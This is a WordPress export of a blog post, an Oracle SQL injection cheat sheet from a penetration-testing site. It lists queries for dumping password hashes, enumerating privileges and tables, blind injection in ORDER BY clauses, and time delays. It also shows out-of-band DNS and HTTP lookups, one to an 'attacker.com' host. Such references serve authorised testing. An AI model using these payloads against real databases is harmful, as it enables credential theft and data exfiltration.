{"id":87,"date":"2007-11-27T20:20:14","date_gmt":"2007-11-27T20:20:14","guid":{"rendered":"http:\/\/pentestmonkey.net\/?p=87"},"modified":"2011-11-11T17:34:40","modified_gmt":"2011-11-11T17:34:40","slug":"oracle-sql-injection-cheat-sheet","status":"publish","type":"post","link":"https:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/oracle-sql-injection-cheat-sheet","title":{"rendered":"Oracle SQL Injection Cheat Sheet"},"content":{"rendered":"<p>Some useful syntax reminders for SQL Injection into Oracle databases&#8230;<br \/>\n<!--more--><\/p>\n<p>This post is part of a series of SQL Injection Cheat Sheets.\u00a0 In this series, I&#8217;ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.\u00a0 This helps to highlight any features which are lacking for each database, and enumeration techniques that don&#8217;t apply and also areas that I haven&#8217;t got round to researching yet.<\/p>\n<p>The complete list of SQL Injection Cheat Sheets I&#8217;m working is:<\/p>\n<ul>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/oracle-sql-injection-cheat-sheet\/\">Oracle<\/a><\/li>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/mssql-sql-injection-cheat-sheet\/\">MSSQL<\/a><\/li>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/mysql-sql-injection-cheat-sheet\/\">MySQL<\/a><\/li>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/postgres-sql-injection-cheat-sheet\/\">PostgreSQL<\/a><\/li>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/ingres-sql-injection-cheat-sheet\/\">Ingres<\/a><\/li>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/db2-sql-injection-cheat-sheet\/\">DB2<\/a><\/li>\n<li><a href=\"http:\/\/pentestmonkey.net\/blog\/informix-sql-injection-cheat-sheet\/\">Informix<\/a><\/li>\n<\/ul>\n<p>I&#8217;m not planning to write one for MS Access, but there&#8217;s a great <a href=\"http:\/\/nibblesec.org\/files\/MSAccessSQLi\/MSAccessSQLi.html\">MS Access Cheat Sheet here<\/a>.<\/p>\n<p>Some of the queries in the table below can only be run by an admin.\u00a0 These are marked with &#8220;&#8211; priv&#8221; at the end of the query.<\/p>\n<table border=\"1\">\n<tbody>\n<tr>\n<td>Version<\/td>\n<td>SELECT banner FROM v$version WHERE banner LIKE &#8216;Oracle%&#8217;;<br \/>\nSELECT banner FROM v$version WHERE banner LIKE &#8216;TNS%&#8217;;<br \/>\nSELECT version FROM v$instance;<\/td>\n<\/tr>\n<tr>\n<td>Comments<\/td>\n<td>SELECT 1 FROM dual &#8212; comment<br \/>\n&#8212; NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name &#8216;dual&#8217; when we&#8217;re not actually selecting from a table.<\/td>\n<\/tr>\n<tr>\n<td>Current User<\/td>\n<td>SELECT user FROM dual<\/td>\n<\/tr>\n<tr>\n<td>List Users<\/td>\n<td>SELECT username FROM all_users ORDER BY username;<br \/>\nSELECT name FROM sys.user$; &#8212; priv<\/td>\n<\/tr>\n<tr>\n<td>List Password Hashes<\/td>\n<td>SELECT name, password, astatus FROM sys.user$ &#8212; priv, &lt;= 10g.\u00a0 astatus tells you if acct is locked<br \/>\nSELECT name,spare4 FROM sys.user$ &#8212; priv, 11g<\/td>\n<\/tr>\n<tr>\n<td>\u00a0Password Cracker<\/td>\n<td><a href=\"http:\/\/www.red-database-security.com\/software\/checkpwd.html\">checkpwd<\/a> will crack the DES-based hashes from Oracle 8, 9 and 10.<\/td>\n<\/tr>\n<tr>\n<td>List Privileges<\/td>\n<td>SELECT * FROM session_privs; &#8212; current privs<br \/>\nSELECT * FROM dba_sys_privs WHERE grantee = &#8216;DBSNMP&#8217;; &#8212; priv, list a user&#8217;s privs<br \/>\nSELECT grantee FROM dba_sys_privs WHERE privilege = &#8216;SELECT ANY DICTIONARY&#8217;; &#8212; priv, find users with a particular priv<br \/>\nSELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;<\/td>\n<\/tr>\n<tr>\n<td>List DBA Accounts<\/td>\n<td>SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = &#8216;YES&#8217;; &#8212; priv, list DBAs, DBA roles<\/td>\n<\/tr>\n<tr>\n<td>Current Database<\/td>\n<td>SELECT global_name FROM global_name;<br \/>\nSELECT name FROM v$database;<br \/>\nSELECT instance_name FROM v$instance;<br \/>\nSELECT SYS.DATABASE_NAME FROM DUAL;<\/td>\n<\/tr>\n<tr>\n<td>List Databases<\/td>\n<td>SELECT DISTINCT owner FROM all_tables; &#8212; list schemas (one per user)<br \/>\n&#8212; Also query TNS listener for other databases.\u00a0 See <a href=\"http:\/\/www.jammed.com\/~jwa\/hacks\/security\/tnscmd\/tnscmd-doc.html\">tnscmd<\/a> (services | status).<\/td>\n<\/tr>\n<tr>\n<td>List Columns<\/td>\n<td>SELECT column_name FROM all_tab_columns WHERE table_name = &#8216;blah&#8217;;<br \/>\nSELECT column_name FROM all_tab_columns WHERE table_name = &#8216;blah&#8217; and owner = &#8216;foo&#8217;;<\/td>\n<\/tr>\n<tr>\n<td>List Tables<\/td>\n<td>SELECT table_name FROM all_tables;<br \/>\nSELECT owner, table_name FROM all_tables;<\/td>\n<\/tr>\n<tr>\n<td>Find Tables From Column Name<\/td>\n<td>SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE &#8216;%PASS%&#8217;; &#8212; NB: table names are upper case<\/td>\n<\/tr>\n<tr>\n<td>Select Nth Row<\/td>\n<td>SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; &#8212; gets 9th row (rows numbered from 1)<\/td>\n<\/tr>\n<tr>\n<td>Select Nth Char<\/td>\n<td>SELECT substr(&#8216;abcd&#8217;, 3, 1) FROM dual; &#8212; gets 3rd character, &#8216;c&#8217;<\/td>\n<\/tr>\n<tr>\n<td>Bitwise AND<\/td>\n<td>SELECT bitand(6,2) FROM dual; &#8212; returns 2<br \/>\nSELECT bitand(6,1) FROM dual; &#8212; returns0<\/td>\n<\/tr>\n<tr>\n<td>ASCII Value -&gt; Char<\/td>\n<td>SELECT chr(65) FROM dual; &#8212; returns A<\/td>\n<\/tr>\n<tr>\n<td>Char -&gt; ASCII Value<\/td>\n<td>SELECT ascii(&#8216;A&#8217;) FROM dual; &#8212; returns 65<\/td>\n<\/tr>\n<tr>\n<td>Casting<\/td>\n<td>SELECT CAST(1 AS char) FROM dual;<br \/>\nSELECT CAST(&#8216;1&#8217; AS int) FROM dual;<\/td>\n<\/tr>\n<tr>\n<td>String Concatenation<\/td>\n<td>SELECT &#8216;A&#8217; || &#8216;B&#8217; FROM dual; &#8212; returns AB<\/td>\n<\/tr>\n<tr>\n<td>If Statement<\/td>\n<td>BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; &#8212; doesn&#8217;t play well with SELECT statements<\/td>\n<\/tr>\n<tr>\n<td>Case Statement<\/td>\n<td>SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; &#8212; returns 1<br \/>\nSELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; &#8212; returns 2<\/td>\n<\/tr>\n<tr>\n<td>Avoiding Quotes<\/td>\n<td>SELECT chr(65) || chr(66) FROM dual; &#8212; returns AB<\/td>\n<\/tr>\n<tr>\n<td>Time Delay<\/td>\n<td>BEGIN DBMS_LOCK.SLEEP(5); END; &#8212; priv, can&#8217;t seem to embed this in a SELECT<br \/>\nSELECT UTL_INADDR.get_host_name(&#8216;10.0.0.1&#8217;) FROM dual; &#8212; if reverse looks are slow<br \/>\nSELECT UTL_INADDR.get_host_address(&#8216;blah.attacker.com&#8217;) FROM dual; &#8212; if forward lookups are slow<br \/>\nSELECT UTL_HTTP.REQUEST(&#8216;http:\/\/google.com&#8217;) FROM dual; &#8212; if outbound TCP is filtered \/ slow<br \/>\n&#8212; Also see <a href=\"http:\/\/technet.microsoft.com\/en-us\/library\/cc512676.aspx\">Heavy Queries<\/a> to create a time delay<\/td>\n<\/tr>\n<tr>\n<td>Make DNS Requests<\/td>\n<td>SELECT UTL_INADDR.get_host_address(&#8216;google.com&#8217;) FROM dual;<br \/>\nSELECT UTL_HTTP.REQUEST(&#8216;http:\/\/google.com&#8217;) FROM dual;<\/td>\n<\/tr>\n<tr>\n<td>Command Execution<\/td>\n<td><a href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_oraexec.sql\">Java<\/a>can be used to execute commands if it&#8217;s installed.<a href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_oraextproc.sql\">ExtProc<\/a> can sometimes be used too, though it normally failed for me. \ud83d\ude41<\/td>\n<\/tr>\n<tr>\n<td>Local File Access<\/td>\n<td><a href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_oraexec.sql\">UTL_FILE<\/a> can sometimes be used.\u00a0 Check that the following is non-null:<br \/>\nSELECT value FROM v$parameter2 WHERE name = &#8216;utl_file_dir&#8217;;<a href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_oraexec.sql\">Java<\/a> can be used to read and write files if it&#8217;s installed (it is not available in Oracle Express).<\/td>\n<\/tr>\n<tr>\n<td>Hostname, IP Address<\/td>\n<td>SELECT UTL_INADDR.get_host_name FROM dual;<br \/>\nSELECT host_name FROM v$instance;<br \/>\nSELECT UTL_INADDR.get_host_address FROM dual; &#8212; gets IP address<br \/>\nSELECT UTL_INADDR.get_host_name(&#8216;10.0.0.1&#8217;) FROM dual; &#8212; gets hostnames<\/td>\n<\/tr>\n<tr>\n<td>Location of DB files<\/td>\n<td>SELECT name FROM V$DATAFILE;<\/td>\n<\/tr>\n<tr>\n<td>Default\/System Databases<\/td>\n<td>SYSTEM<br \/>\nSYSAUX<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Misc Tips<\/h3>\n<p>In no particular order, here are some suggestions from pentestmonkey readers.<\/p>\n<p>From\u00a0Christian Mehlmauer:<\/p>\n<table border=\"1\">\n<tbody>\n<tr>\n<td>Get all tablenames in one string<\/td>\n<td>select rtrim(xmlagg(xmlelement(e, table_name || &#8216;,&#8217;)).extract(&#8216;\/\/text()&#8217;).extract(&#8216;\/\/text()&#8217;) ,&#8217;,&#8217;) from all_tables &#8212;\u00a0\u00a0when using union based SQLI with only one row<\/td>\n<\/tr>\n<tr>\n<td>Blind SQLI in order by clause<\/td>\n<td>order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = &#8216;a&#8217; and rownum = 1)=1) then column_name1 else column_name2 end &#8212; you must know 2 column names with the same datatype<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><\/h3>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Some useful syntax reminders for SQL Injection into Oracle databases&#8230;<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8],"tags":[46,44,88,19,78],"_links":{"self":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/87"}],"collection":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/comments?post=87"}],"version-history":[{"count":5,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/87\/revisions"}],"predecessor-version":[{"id":654,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/87\/revisions\/654"}],"wp:attachment":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/media?parent=87"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/categories?post=87"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/tags?post=87"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}